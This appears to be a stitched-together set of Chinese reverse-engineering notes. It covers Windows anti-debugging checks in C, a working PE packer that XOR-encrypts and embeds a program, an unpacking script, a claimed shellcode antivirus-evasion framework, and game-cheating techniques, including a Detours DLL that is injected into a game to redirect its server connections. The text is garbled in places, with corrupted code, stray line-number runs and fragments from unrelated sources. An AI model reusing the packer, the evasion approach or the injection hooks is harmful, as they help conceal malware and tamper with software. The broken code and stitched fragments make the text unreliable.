这个函数是Ntdll.dll中一个原生态API,它用来提取一个给定进程的信息。它的第一个参数是进程句柄,第二个参数告诉我们它需要提取进程信息的类型。为第二个参数指定特定值并调用该函数,相关信息就会设置到第三个参数。第二个参数是一个枚举类型,其中与反调试有关的成员有ProcessDebugPort(0x7)、ProcessDebugObjectHandle(0x1E)和ProcessDebugFlags(0x1F)。例如将该参数置为ProcessDebugPort,如果进程正在被调试,则返回调试端口,否则返回0。 BOOL CheckDebug() { int debugPort = 0; HMODULE hModule = LoadLibrary("Ntdll.dll"); NtQueryInformationProcessPtr NtQueryInformationProcess = (NtQueryInformationProcessPtr)GetProcAddress(hModule, "NtQueryInformationProcess"); NtQueryInformationProcess(GetCurrentProcess(), 0x7, &debugPort, sizeof(debugPort), NULL); return debugPort != 0; } BOOL CheckDebug() { HANDLE hdebugObject = NULL; HMODULE hModule = LoadLibrary("Ntdll.dll"); NtQueryInformationProcessPtr NtQueryInformationProcess = (NtQueryInformationProcessPtr)GetProcAddress(hModule, "NtQueryInformationProcess"); NtQueryInformationProcess(GetCurrentProcess(), 0x1E, &hdebugObject, sizeof(hdebugObject), NULL); return hdebugObject != NULL; } BOOL CheckDebug() { BOOL bdebugFlag = TRUE; HMODULE hModule = LoadLibrary("Ntdll.dll"); NtQueryInformationProcessPtr NtQueryInformationProcess = (NtQueryInformationProcessPtr)GetProcAddress(hModule, "NtQueryInformationProcess"); NtQueryInformationProcess(GetCurrentProcess(), 0x1E, &bdebugFlag, sizeof(bdebugFlag), NULL); return bdebugFlag != TRUE; } 1.4GetLastError 编写应用程序时,经常需要涉及到错误处理问题。许多函数调用只用TRUE和FALSE来表明函数的运行结果。一旦出现错误,MSDN中往往会指出请用GetLastError()函数来获得错误原因。恶意代码可以使用异常来破坏或者探测调试器。调试器捕获异常后,并不会立即将处理权返回被调试进程处理,大多数利用异常的反调试技术往往据此来检测调试器。多数调试器默认的设置是捕获异常后不将异常传递给应用程序。如果调试器不能将异常结果正确返回到被调试进程,那么这种异常失效可以被进程内部的异常处理机制探测。 对于OutputDebugString函数,它的作用是在调试器中显示一个字符串,同时它也可以用来探测调试器的存在。使用SetLastError函数,将当前的错误码设置为一个任意值。如果进程没有被调试器附加,调用OutputDebugString函数会失败,错误码会重新设置,因此GetLastError获取的错误码应该不是我们设置的任意值。但如果进程被调试器附加,调用OutputDebugString函数会成功,这时GetLastError获取的错误码应该没改变。 BOOL CheckDebug() { DWORD errorValue = 12345; SetLastError(errorValue); OutputDebugString("Test for debugger!"); if (GetLastError() == errorValue) { return TRUE; } else { return FALSE; } } 对于DeleteFiber函数,如果给它传递一个无效的参数的话会抛出ERROR_INVALID_PARAMETER异常。如果进程正在被调试的话,异常会被调试器捕获。所以,同样可以通过验证LastError值来检测调试器的存在。如代码所示,0x57就是指ERROR_INVALID_PARAMETER。 BOOL CheckDebug() { char fib[1024] = {0}; DeleteFiber(fib); return (GetLastError() != 0x57); } 同样还可以使用CloseHandle、CloseWindow产生异常,使得错误码改变。 BOOL CheckDebug() { DWORD ret = CloseHandle((HANDLE)0x1234); if (ret != 0 || GetLastError() != ERROR_INVALID_HANDLE) { return TRUE; } else { return FALSE; } } BOOL CheckDebug() { DWORD ret = CloseWindow((HWND)0x1234); if (ret != 0 || GetLastError() != ERROR_INVALID_WINDOW_HANDLE) { return TRUE; } else { return FALSE; } } 1.5ZwSetInformationThread ZwSetInformationThread拥有两个参数,第一个参数用来接收当前线程的句柄,第二个参数表示线程信息类型,若其值设置为ThreadHideFromDebugger(0x11),使用语句ZwSetInformationThread(GetCurrentThread(), ThreadHideFromDebugger, NULL, 0);调用该函数后,调试进程就会被分离出来。该函数不会对正常运行的程序产生任何影响,但若运行的是调试器程序,因为该函数隐藏了当前线程,调试器无法再收到该线程的调试事件,最终停止调试。还有一个函数DebugActiveProcessStop用来分离调试器和被调试进程,从而停止调试。两个API容易混淆,需要牢记它们的区别。
# 手工加壳原理
我们向 PE 文件添加一个区段并将其设置为入口点,这样 PE 文件最开始执行的命令就是我们添加的区段也就是壳的指令,壳对加密区进行解密,对压缩区进行解压,将原本的 EXE 文件还原出来,然后跳转至原程序入口,程序照常运行。
demo.exe 代表是被加壳的源程序。
Shell.exe 代表的是壳子程序。
Packed.exe 代表的是加壳程序。
# include <Windows.h> # include <cstdio> # define SHELL_FILE_NAME "Shell.exe" # define ORGIN_FILE_NAME "demo.exe" # define TARGET_FILE_NAME "target.exe" BOOL PackFile ( ) ; VOID EncpyptFile ( PUCHAR pBaseAddr, DWORD dwFileSize) ; BOOL AddSection ( PVOID pShellBase, PVOID pOrgBase, DWORD dwShellFileSize, DWORD dwOrgFileSize) ; VOID ShowError ( PCHAR msg) ; DWORD Align ( DWORD dwSize, DWORD dwAlign) ; int APIENTRY wWinMain ( _In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPWSTR lpCmdLine, _In_ int nCmdShow) { if ( PackFile ( ) ) { MessageBox ( NULL , TEXT ( "加壳成功" ) , TEXT ( "成功" ) , MB_OK) ; } return 0 ; } BOOL PackFile ( ) { BOOL bRet = TRUE; HANDLE hOrgFile = NULL , hShellFile = NULL ; DWORD dwOrgFileSize = 0 , dwShellFileSize = 0 , dwRet = 0 , dwFileSize = 0 ; PVOID pOrgBase = NULL , pShellBase = NULL ; hOrgFile = CrLE_NAME, GENERIC_eateFile ( ORGIN_FIREAD, 0 , NULL , OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ) ; if ( hOrgFile == INVALID_HANDLE_VALUE) { ShowError ( "CreateFile OrigFile" ) ; bRet = FALSE; goto exit; } dwOrgFileSize = GetFileSize ( hOrgFile, NULL ) ; pOrgBase = VirtualAlloc ( NULL , dwOrgFileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE) ; if ( ! pOrgBase) { ShowError ( "VirtualAlloc pOrgBase" ) ; bRet = FALSE; goto exit; } ZeroMemory ( pOrgBase, dwOrgFileSize) ; if ( ! ReadFile ( hOrgFile, pOrgBase, dwOrgFileSize, & dwRet, NULL ) ) { ShowError ( "ReadFile pOrgBase" ) ; bRet = FALSE; goto exit; } EncpyptFile ( ( PUCHAR) pOrgBase, dwOrgFileSize) ; hShellFile = CreateFile ( SHELL_FILE_NAME, GENERIC_READ, 0 , NULL , OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ) ; if ( hShellFile == INVALID_HANDLE_VALUE) { ShowError ( "CreateFile ShellFile" ) ; bRet = FALSE; goto exit; } dwShellFileSize = GetFileSize ( hShellFile, NULL ) ; pShellBase = VirtualAlloc ( NULL , dwShellFileSize + dwOrgFileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE) ; if ( ! pShellBase) { ShowError ( "VirtualAlloc pShellBase" ) ; bRet = FALSE; goto exit; } ZeroMemory ( pShellBase, dwShellFileSize + dwOrgFileSize) ; if ( ! ReadFile ( hShellFile, pShellBase, dwShellFileSize, & dwRet, NULL ) ) { ShowError ( "ReadFile pShellBase" ) ; bRet = FALSE; goto exit; } if ( ! AddSection ( pShellBase, pOrgBase, dwShellFileSize, dwOrgFileSize) ) { bRet = FALSE; goto exit; } exit: if ( hOrgFile) CloseHandle ( hOrgFile) ; if ( hShellFile) CloseHandle ( hShellFile) ; if ( pOrgBase) { if ( ! VirtualFree ( pOrgBase, 0 , MEM_DECOMMIT) ) { ShowError ( "VirtualFree pOrgBase" ) ; } } if ( pShellBase) { if ( ! VirtualFree ( pShellBase, 0 , MEM_DECOMMIT) ) { ShowError ( "VirtualFree pShellBase" ) ; } } return bRet; } BOOL AddSection ( PVOID pShellBase, PVOID pOrgBase, DWORD dwShellFileSize, DWORD dwOrgFileSize) { BOOL bRet = TRUE; DWORD dwRet = 0 ; HANDLE hFile = NULL ; PIMAGE_DOS_HEADER pShellDosHead = ( PIMAGE_DOS_HEADER) pShellBase; PIMAGE_FILE_HEADER pShellFileHead = ( PIMAGE_FILE_HEADER) ( ( DWORD) pShellBase + pShellDosHead-> e_lfanew + 4 ) ; PIMAGE_OPTIONAL_HEADER32 pShellOptionHead = ( PIMAGE_OPTIONAL_HEADER32) ( ( DWORD) pShellFileHead + IMAGE_SIZEOF_FILE_HEADER) ; PIMAGE_SECTION_HEADER pShellSectionHead = ( PIMAGE_SECTION_HEADER) ( ( DWORD) pShellOptionHead + pShellFileHead-> SizeOfOptionalHeader) ; DWORD dwFileAlignment = pShellOptionHead-> FileAlignment, dwSectionAlignment = pShellOptionHead-> SectionAlignment; DWORD dwSize = 0 ; PVOID pResBase = NULL ; if ( pShellSectionHead[ 0 ] . PointerToRawData - ( ( DWORD) & pShellSectionHead[ pShellFileHead-> NumberOfSections - 1 ] - ( DWORD) pShellBase) < 2 * IMAGE_SIZEOF_SECTION_HEADER) { printf ( "壳子最后一个节表间隙不够\n" ) ; bRet = FALSE; goto exit; } dwSize = Align ( dwOrgFileSize + dwShellFileSize, dwFileAlignment) ; pResBase = VirtualAlloc ( NULL , dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE) ; if ( ! pResBase) { ShowError ( "VirtualAlloc pResBase" ) ; bRet = FALSE; goto exit; } ZeroMemory ( pResBase, dwSize) ; memcpy ( ( PVOID) pResBase, pShellBase, dwShellFileSize) ; memcpy ( ( PVOID) ( ( DWORD) pResBase + dwShellFileSize) , pOrgBase, dwOrgFileSize) ; PIMAGE_DOS_HEADER pResDosHead = ( PIMAGE_DOS_HEADER) pResBase; PIMAGE_FILE_HEADER pResFileHead = ( PIMAGE_FILE_HEADER) ( ( DWORD) pResBase + pResDosHead-> e_lfanew + 4 ) ; PIMAGE_OPTIONAL_HEADER32 pResOptionHead = ( PIMAGE_OPTIONAL_HEADER32) ( ( DWORD) pResFileHead + IMAGE_SIZEOF_FILE_HEADER) ; PIMAGE_SECTION_HEADER pResSectionHead = ( PIMAGE_SECTION_HEADER) ( ( DWORD) pResOptionHead + pResFileHead-> SizeOfOptionalHeader) ; ZeroMemory ( ( PVOID) & pResSectionHead[ pShellFileHead-> NumberOfSections] , IMAGE_SIZEOF_SECTION_HEADER) ; memcpy ( pResSectionHead[ pResFileHead-> NumberOfSections] . Name, ".1900" , strlen ( ".1900" ) ) ; pResSectionHead[ pResFileHead-> NumberOfSections] . PointerToRawData = pResSectionHead[ pShellFileHead-> NumberOfSections - 1 ] . PointerToRawData + Align ( pShellSectionHead[ pShellFileHead-> NumberOfSections - 1 ] . SizeOfRawData, dwFileAlignment) ; pResSectionHead[ pResFileHead-> NumberOfSections] . SizeOfRawData = Align ( dwOrgFileSize, dwFileAlignment) ; pResSectionHead[ pResFileHead-> NumberOfSections] . VirtualAddress = pResSectionHead[ pShellFileHead-> NumberOfSections - 1 ] . VirtualAddress + Align ( pResSectionHead[ pShellFileHead-> NumberOfSections - 1 ] . Misc. VirtualSize, dwSectionAlignment) ; pResSectionHead[ pResFileHead-> NumberOfSections] . Misc. VirtualSize = dwOrgFileSize; pResSectionHead[ pResFileHead-> NumberOfSections] . Characteristics |= IMAGE_SCN_MEM_READ; pResFileHead-> NumberOfSections++ ; pResOptionHead-> SizeOfImage += Align ( dwOrgFileSize, dwSectionAlignment) ; hFile = CreateFile ( TARGET_FILE_NAME, GENERIC_READ | GENERIC_WRITE, 0 , NULL , CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL ) ; if ( hFile == INVALID_HANDLE_VALUE) { ShowError ( "CreateFile" ) ; bRet = FALSE; goto exit; } if ( ! WriteFile ( hFile, pResBase, dwSize, & dwRet, NULL ) ) { ShowError ( "WriteFile" ) ; bRet = FALSE; goto exit; } exit: if ( hFile) CloseHandle ( hFile) ; return bRet; } DWORD Align ( DWORD dwSize, DWORD dwAlign) { return dwSize % dwAlign ? dwSize + dwAlign - dwSize % dwAlign : dwSize; } VOID EncpyptFile ( PUCHAR pBaseAddr, DWORD dwFileSize) { DWORD i = 0 ; UCHAR uKey = 190 ; for ( i = 0 ; i < dwFileSize; i++ ) { if ( pBaseAddr[ i] && pBaseAddr[ i] != uKey) pBaseAddr[ i] ^= uKey; } } VOID ShowError ( PCHAR msg) { CHAR szError[ 105 ] = { 0 } ; sprintf ( szError, "%s Error %d" , msg, GetLastError ( ) ) ; MessageBox ( NULL , szError, TEXT ( "Error" ) , MB_OK) ; } < ! -- code75 -- >
/ 1. 定义变量
MOV dwOEP,0047148B
MOV dwGetAPI,001E1914
MOV dwWriteIAT,001E0897
// 2. 清除环境
BC // 清除所有软件断点
BPHWC // 清除所有硬件断点
BPMC // 清除内存断点
// 3. 设置断点
BPHWS dwOEP, “x” // 当执行到此地址时产生中断.
BPHWS dwGetAPI, “x” // 当执行到此地址时产生中断.
BPHWS dwWriteIAT, “x” // 当执行到此地址时产生中断.
// 4. 循环
LOOP0:
RUN // F9
CMP dwGetAPI,eip
JNZ CASE1
MOV dwTMP,eax
JMP LOOP0
CASE1:
CMP dwWriteIAT,eip
JNZ CASE2
MOV [edx],dwTMP //MOV DWORD PTR DS:[EDX],EAX
JMP LOOP0
CASE2:
CMP dwOEP,eip
JNZ LOOP0
MSG “OEP 已到达”
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 #### 通过脱壳脚本之(修复IAT表) 1. 生成加密的IAT函数大概步骤如下: 2. 获取原始IAT函数地址,存放在一定位置 3. 使用LoadLibraryA/W,GetProcAddress函数 4. 申请空间,构造新的IAT函数 5. 使用VirtualAlloc申请空间,拷贝代码 6. 根据原始IAT函数地址计算加密值,隐藏真实地址 7. 计算类似GetVersion函数中的代码中的x值 8. sub edx,x; 9. add ebc,x; 10. 将新IAT函数地址写入IAT 11. 填充地址到IAT 12. 至此,我们已经知道程序在写入一个IAT函数地址时的操作过程,概括为以下步骤。 1.获取预先计算好的hash值 2.循环获取当前正在获取的模块中的导出函数名称,计算hash值,与预存的比较,如果失败继续循环获取 3.如果正确,获取导出函数的地址 4.拷贝预存的代码到缓冲区,将导出函数地址写入到缓冲区中 5.将缓冲区首地址写入IAT处,完成填充IAT的操作 如何解密IAT?此处从函数地址入手,如果当我们获取了原始函数地址,且在写入IAT时,寄存器中还保存的是原始函数地址,那解密IAT就会变得很容易完成。如果代码是线性执行,我们只需改一下跳转应该就可以完成了,但是现在代码混淆度比较高,比较难找到规律,虽然说只要足够耐心,更改跳转应该可以实现,仔细跟踪代码,可以发现其实函数地址最初保存在EAX中,而后保存在EDX中,之后EDX被修改为IAT地址,EAX修改为加密的地址,在这个过程中,只要我们能做到EAX最后是函数地址即可。 找向上跳的代码,即循环的代码,大概率是在循环解压原来的代码
首先要先在加壳后的程序中定位到原程序的入口点。使用 x64dbg 打开后直接运行一步,发现停在了 pushad 上。该指令将所有寄存器的值压栈,而在 UPX 的执行流程里,这一步之后会加载 UPX 的解压代码用于将原始程序解压。upx 的工作原理其实是这样的:首先将程序压缩。所谓的压缩包括两方面,一方面在程序的开头或者其他合适的地方插入一段代码,另一方面是将程序的其他地方做压缩。压缩也可以叫做加密,因为压缩后的程序比较难看懂,主要是和原来的代码有很大的不同。最大的表现也就是他的主要作用就是程序本身变小了。变小之后的程序在传输方面有很大的优势。其次就是在程序执行时,实时的对程序解压缩。解压缩功能是在第一步时插入的代码完成的功能。联起来就是:upx 可以完成代码的压缩和实时解压执行。且不会影响程序的执行效率。
upx 和普通的压缩,解压不同点就算在于 upx 是实时解压缩的。实时解压的原理可以使用一下图形表示:
graph LR;
1–>2–>3–>4–>5–>6;
假设 1 是 upx 插入的代码,2,3,4 是压缩后的代码。5,6 是随便的什么东西。程序从 1 开始执行。而 1 的功能是将 2,3,4 解压缩为 7,8,9。7,8,9 就是 2,3,4 在压缩之前的形式。
1
2
graph LR;
1–>7–>8–>9–>5–>6;
连起来就是:
1
2
3
4
5
6
graph LR;
1==>2-.->3-.->4-.->5;
7==>8==>9==>5==>6;
2–> 解密–>7;
3–> 解密–>8;
4–> 解密–>9;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 跟壳的时候多用F7除非是往下一句跳的,F8会有触发暗桩程序跑飞的风险 ### shellcode免杀 之前分析CS4的stage时,遂介绍之前所写shellcode框架,该框架的shellcode执行部分利用系统特性和直接系统调用(Direct System Call)执行,得以免杀主流杀软(火绒、360全部产品、毒霸等),该方式也是主流绕过3环AV、EDR、沙箱的常用手段。 - 该框架主要由四个项目组成: GenerateShellCode:负责生成相关功能的shellcode。 EncryptShellCode:负责以AES128加密所将执行的shellcode。 FunctionHash:负责计算shell中所用到函数的hash值。 XShellCodeLoader:负责执行加密后的shellcode。 - shellcode脱壳之(GenerateShellCode原理) ### 恶意软件脱壳之(MIR4手工脱壳) 不是所有的壳都能通过F4中断,F2+F9 #### 网络验证 bp send bp GetPrivateProfileStringA // 读配置文件 通过GetVersion判断壳有没有被解压,易语言通用。可以hook GetVersion ## 游戏外挂基础 - 光子时代的新型反外挂(2016-2022) 1. 动态检测游戏协议交互流量(登录,游戏关卡,地面环境,建筑物,技能,走路,副本,任务等) 2. 后台机器学习(多模式场景匹配,智能AI大脑模拟) 3. 全程无感知实时动态抓取场景 4. 后台推送到手机APP或PC游戏登录大厅 5. 场景建模外挂溯源自动化分析 6. 游戏封号大数据检测模式 
1.1.1 执行时间
当游戏被调试时,运行肯定会变慢,我们可以检测游戏主循环的运行时间,来判断是否被调试,实际上这种检测是最难拔出的
“暗桩”。
1.1.2 调试位检测
windows 提供了一些 api 来检测,例如 IsDebuggerPresent、CheckRemoteDebuggerPresent。
// IsDebuggerPresentstatic bool xx_is_debug_1()
{
return IsDebuggerPresent();}// CheckRemoteDebuggerPresentstatic bool xx_is_debug_2()
{
BOOL debuged = false;
bool ret = CheckRemoteDebuggerPresent(GetCurrentProcess(), &debuged);
return ret && TRUE == debuged;
}
1.2 硬件断点检测
硬件断点既是调试手段、也是一种 hook 手段,反外挂时一定要检测的。检测时有两种手段:
1.GetThreadContext: 获取寄存器信息,判断 Dr0~Dr3 如果不是 0,则被下了硬件断点。
2. 硬件断点占坑:硬件断点只有 4 个,反外挂系统把硬件断点占住,我只要检测我的断点存在即可。
我使用了硬件断点占坑方式检测,因为调用 GetThreadContext 检测时容易被 hook。
后期我们做对抗时,发现可以用设置内存属性,来绕过硬件断点占坑,以后会写一篇文章来介绍。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 - #### 信息收集 1. 信息收集是反外挂系统的重要组成部分,可以帮助我们收集玩家使用外挂证据、收集外挂等。 2. 玩家监控:我们会重点监控“重点玩家”的信息,重点玩家来自于玩家举报,我们会加入监控观察一周。 3. 游戏程序修改:反外挂系统会全量检测游戏.exe和d3d9.dll的代码段,发现修改就把版本和修改的地址上报,会定时分析其中可疑的味道。 没有D3D9游戏是跑不起来的。 4. 文件上传:这个功能有点流氓,我们控制台可以指定上传玩家本地的文件,是我们收集外挂的重要手段。  协议分析是游戏漏洞挖掘的关键,确定游戏的协议是漏洞挖掘的前置条件。游戏客户端与服务器间通过事先定义的协议进行通信。只不过通信的数据往往被加密后,难以从信道上直接获取有效信息。弄清楚数据打包的过程,便是协议获取的关键。打个不恰当的比喻,在未学习其他语言基本知识时,我们很难听懂外国人对话的,此时了解了加密过程,就好比将他们的对话翻译成国语,了解了序列号过程,就好比知道了他们的断句,有了可读懂的语言,再加上断句,我们就能清楚的知道他们每一句话的意思。协议分析也是这个道理,其分析的关键便是弄清楚明文数据和序列化过程。。 一般协议的明文buff分析,多从游戏的socket连接开始进行逆向分析,借助网络工具,可以清楚的了解到游戏使用的tcp/udp链接,然后针对性对send/sendto, recv/recvfrom下断点进行逆向。部分游戏因为自身的复杂性,可能会有多个socket连接,一般我们可以通过分析每一次数据交互过程,进一步确定游戏选择的是哪个socket进行数据传输。 为更加清楚的说明协议分析的过程,笔者选取一款游戏进行说明。首先通过net-peeker发现游戏仅仅采用了TCP链接,OD附加后直接对send下断,发现游戏有多个调用地址调用了call,于是分析每一次send的参数,当在游戏内进行网络操作时,拦截 TCP send/receive wsasend / wsarec ### 游戏加载分析 1.先对登录器传入命令行参数判断 2.删除日志文件和敏感文件 3.获取版本号信息 4.对窗口名称做格式化 5.注册窗口,设置回调 6.读取bin文件 7.读取资源文件 8.创建游戏窗口 9.调用消息循环 Cabal EP8 搭建 [惊天动地EP8仿官方_2021最新一键端-游戏收藏-风帆资源站 (fengfan.mobi)](http://fengfan.mobi/post/392.html) [惊天动地EP8_2021单机_VBOX虚拟机版_免费高速下载|百度网盘-分享无限制 (baidu.com)](https://pan.baidu.com/s/18NNNWyB-WWBHuerxG-h5WA#list/path=%2Fsharelink1957418918-186929007833136%2F惊天动地EP8_2021单机_VBOX虚拟机版&parentPath=%2Fsharelink1957418918-186929007833136) [架设◆ 惊天动地◆ 数据库、服务端、虚拟机、Linux、等方面疑问全面解答◆_惊天动地物品代码-CSDN博客](https://blog.csdn.net/xxuanwan/article/details/2989990) [端游《惊天动地EP8》VM一键端+视频教程+GM工具_免费高速下载|百度网盘-分享无限制 (baidu.com)](https://pan.baidu.com/s/1Bpj1Ee1T0TMEsHeZ9S64Gg?pwd=2xtb#list/path=%2Fsharelink3943911796-914199683682089%2F端游《惊天动地EP8》VM一键端%2B视频教程%2BGM工具%2F惊天动地EP8客户端&parentPath=%2Fsharelink3943911796-914199683682089) [端游《惊天动地EP8》CABALEP8三变190版本 VM一键端+视频教程+GM工具-网游单机网-脚本王 (jiaobenwang.com)](https://jiaobenwang.com/6407.html) [[CentOS 7/8 Repack\] Full Cabal Server Installation + CentOS SQL (Database) [Updated 2023] | RaGEZONE - MMO Development Forums](https://forum.ragezone.com/threads/centos-7-8-repack-full-cabal-server-installation-centos-sql-database-updated-2023.1144251/) [【精选】CABAL_EP8_Centos7配置记录-CSDN博客](https://blog.csdn.net/weixin_43199687/article/details/121342818) 1.通过栈回溯法找到命令行参数 bp CreateProcessA && bp CreateProcessW 找到调用的地方,依次执行到返回,直到出现命令行参数
0042890C 68 C9EC4100 push 单机登录.0041ECC9 ; ASCII “\Main.exe f7a9q_1 & exit”
00428911 FF75 FC push dword ptr ss:[ebp-0x4]
00428914 68 E2EC4100 push 单机登录.0041ECE2 ; ASCII "cmd /c @echo off & start"
1 2 3 4 5 6 7 下次启动的时候就不需要调用启动器了,直接执行main即可 2.找到所连接的服务器IP
// bp ws2_32.connect
004A81C6 |. 57 push edi
004A81C7 |. FF75 08 push [arg.1] // IP
004A81CA |. 33C0 xor eax,eax
004A81CC |. 8D7D F0 lea edi,[local.4]
004A81CF |. AB stos dword ptr es:[edi]
004A81D0 |. AB stos dword ptr es:[edi]
004A81D1 |. AB stos dword ptr es:[edi]
004A81D2 |. AB stos dword ptr es:[edi]
004A81D3 |. 66:C745 F0 0200 mov word ptr ss:[ebp-0x10],0x2
004A81D9 |. FF15 48660E01 call dword ptr ds:[0x10E6648] ; Main.011BD656
007B9E97 . 8D45 DC lea eax,dword ptr ss:[ebp-0x24]
007B9E9A > 8B0D 60010B01 mov ecx,dword ptr ds:[0x10B0160]
007B9EA0 . 56 push esi
007B9EA1 . 50 push eax
007B9EA2 . E8 102BC7FF call Main.0042C9B7
007B9EA7 . 85C0 test eax,eax
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101  3.通过inline hook修改服务器IP ```c++ #include "stdafx.h" #include <shellapi.h> #include <stdio.h> #include <tchar.h> #include <iostream> #include <winsvc.h> #include <string> #include <io.h> #include <vector> #include <stdlib.h> #include <Wininet.h> #include <comdef.h> #include <IPTypes.h> #include <WinSock2.h> #include "detours.h" //#include "KTools.h" #pragma comment(lib, "detours.lib") #pragma comment(lib, "ws2_32.lib") #pragma comment(lib, "wldap32.lib") #pragma comment(lib,"Wininet.lib") char ws2_32[0x100]={"ws2_32.dll\0"}; HMODULE gHookws2_32; typedef int ( WINAPI * fun_connect)(SOCKET s, const struct sockaddr * name, int namelen); fun_connect Hookconnect; int WINAPI Myconnect(SOCKET s, const struct sockaddr * name, int namelen) { SOCKADDR_IN* addr =(SOCKADDR_IN*)name; DWORD GameServerPort; char GameServerIP[128]={0}; GameServerPort = ntohs(addr->sin_port); strcpy(GameServerIP,inet_ntoa(addr->sin_addr)); //KTools::DbgPrintA("当前连接的IP:%s | 端口 %d \r\n",GameServerIP,GameServerPort); if (stricmp(GameServerIP,"192.168.56.200")==0 || stricmp(GameServerIP,"192.168.56.201")==0) { //KTools::DbgPrintA("[ GameServerIP == %s ] \r\n",GameServerIP); SOCKADDR_IN AddrSock; AddrSock.sin_addr.S_un.S_addr=inet_addr("192.168.13.163"); AddrSock.sin_port = addr->sin_port; AddrSock.sin_family = AF_INET; int errorx = GetLastError(); unsigned long ul = 0; int ret = ioctlsocket (s, FIONBIO, (unsigned long*)&ul); return Hookconnect(s,(SOCKADDR*)&AddrSock,namelen); } return Hookconnect(s,name,namelen); } BOOL WINAPI Call_HookConnect() { if (GetModuleHandleA((char *)ws2_32) != NULL) { gHookws2_32 = GetModuleHandleA((char *)ws2_32); } else { gHookws2_32 = LoadLibraryA((char *)ws2_32); } if (!gHookws2_32) { return FALSE; } DetourTransactionBegin(); DetourUpdateThread(GetCurrentThread()); Hookconnect = (fun_connect)GetProcAddress(gHookws2_32, "connect"); DetourAttach((PVOID*)&Hookconnect, Myconnect); DetourTransactionCommit(); return TRUE; } BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { Call_HookConnect(); break; } case DLL_PROCESS_DETACH: { break; } } return TRUE; }
注入 dll
查找资源文件调用
1 2 3 4 5 bp CreateFileA 下段,F9,直到返回在00470ff5,此时壳已经解压 注入我们的dll
挂接正常 dll,使每次正常 dll 启动拉着我们 dll 一起启动
# 加密函数分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 bp ws2_32.send 0019 DE30 004 A7D69 /CALL 到 send 来自 Main.004 A7D630019 DE34 00000B 28 |Socket = B280019 DE38 00000000 |Data = NULL 0019 DE3C 00000000 |DataSize = 0 0019 DE40 00000000 \Flags = 0 004 A7D5C . 6 A 00 push 0x0 004 A7D5E . 53 push ebx004 A7D5F . 50 push eax004 A7D60 . FF76 04 push dword ptr ds:[esi+0x4 ]004 A7D63 . FF15 90660E01 call dword ptr ds:[0x10E6690 ] ; Main.01144E8 D0019 DE08 00000B 280019 DE0C 19536F 800019 DE10 0000000 E0019 DE14 00000000 19536F 80 AD 8 A 70 E7 48 81 2 A 77 79 E8 A9 A8 EF 94 72 瓓p鏗?wy瑭攔.007B 8B36 |. 8B 0D 60010B 01 mov ecx,dword ptr ds:[0x10B0160 ]007B 8B3C |. 8 D45 F0 lea eax,[local.4 ]007B 8B3F |. 50 push eax007B 8B40 |. 8855 FD mov byte ptr ss:[ebp-0x3 ],dl007B 8B43 |. E8 5F 7CC6FF call Main.004207 A70019 DE48 E2 B7 0 E 00 00 00 00 00 65 00 2 E 8 D DC E0 19 004 A7EA4 /> \55 push ebp004 A7EA5 |. 8B EC mov ebp,esp004 A7EA7 |. 837 D 08 00 cmp [arg.1 ],0x0 004 A7EAB |. 56 push esi004 A7EAC |. 8B F1 mov esi,ecx004 A7EAE |. 74 20 je XMain.004 A7ED0004 A7EB0 |. 8B 4E 30 mov ecx,dword ptr ds:[esi+0x30 ]004 A7EB3 |. 85 C9 test ecx,ecx004 A7EB5 |. 74 19 je XMain.004 A7ED0004 A7EB7 |. FF75 0 C push [arg.2 ]004 A7EBA |. FF75 08 push [arg.1 ]004 A7EBD |. E8 9316F 8FF call Main.00429555 004 A7EC2 |. FF75 0 C push [arg.2 ]004 A7EC5 |. 8 D4E 0 C lea ecx,dword ptr ds:[esi+0xC ]004 A7EC8 |. FF75 08 push [arg.1 ]004 A7ECB |. E8 784B F8FF call Main.0042 CA48004 A7ED0 |> 5 E pop esi004 A7ED1 |. 5 D pop ebp004 A7ED2 \. C2 0800 retn 0x8 004 A3D07 /> \55 push ebp004 A3D08 |. 8B EC mov ebp,esp004 A3D0A |. 51 push ecx004 A3D0B |. 51 push ecx004 A3D0C |. 56 push esi004 A3D0D |. 8B 75 08 mov esi,[arg.1 ]004 A3D10 |. 8B C1 mov eax,ecx004 A3D12 |. 33 C9 xor ecx,ecx004 A3D14 |. 66 :8B 0E mov cx,word ptr ds:[esi]004 A3D17 |. 66 :81F 9 3B 